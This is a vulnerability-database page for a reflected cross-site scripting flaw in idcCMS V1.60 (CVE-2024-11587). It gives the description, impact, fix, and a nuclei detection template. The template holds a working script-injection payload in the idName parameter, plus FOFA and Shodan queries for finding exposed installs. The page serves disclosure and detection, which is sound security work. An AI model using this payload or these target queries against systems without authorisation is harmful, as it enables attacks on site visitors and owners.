HexBrain

Browse / CVEs / CVE-2024-11587

CVE-2024-11587· idccms / idccms· CWE-79

idcCMS V1.60 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it

idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

Impact

Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.

Fix

Update idcCMS to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the idName parameter in read.php.

How to confirm it

Send: GET {{BaseURL}}/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData
Positive when: contains "<script>alert(document.domain)</script>" and "add(new Option" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-11587 -u <target>

The full check
id: CVE-2024-11587

info:
  name: idcCMS V1.60 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Update idcCMS to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the idName parameter in read.php.
  reference:
    - https://github.com/Hebing123/cve/issues/75
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11587
  classification:
    epss-score: 0.00964
    epss-percentile: 0.61961
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-11587
    cwe-id: CWE-79
    cpe: cpe:2.3:a:idccms:idccms:1.60:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idccms
    product: idccms
    fofa-query: title="idcCMS"
    shodan-query: title:"idcCMS"
  tags: cve,cve2024,xss,idccms,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'add(new Option'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from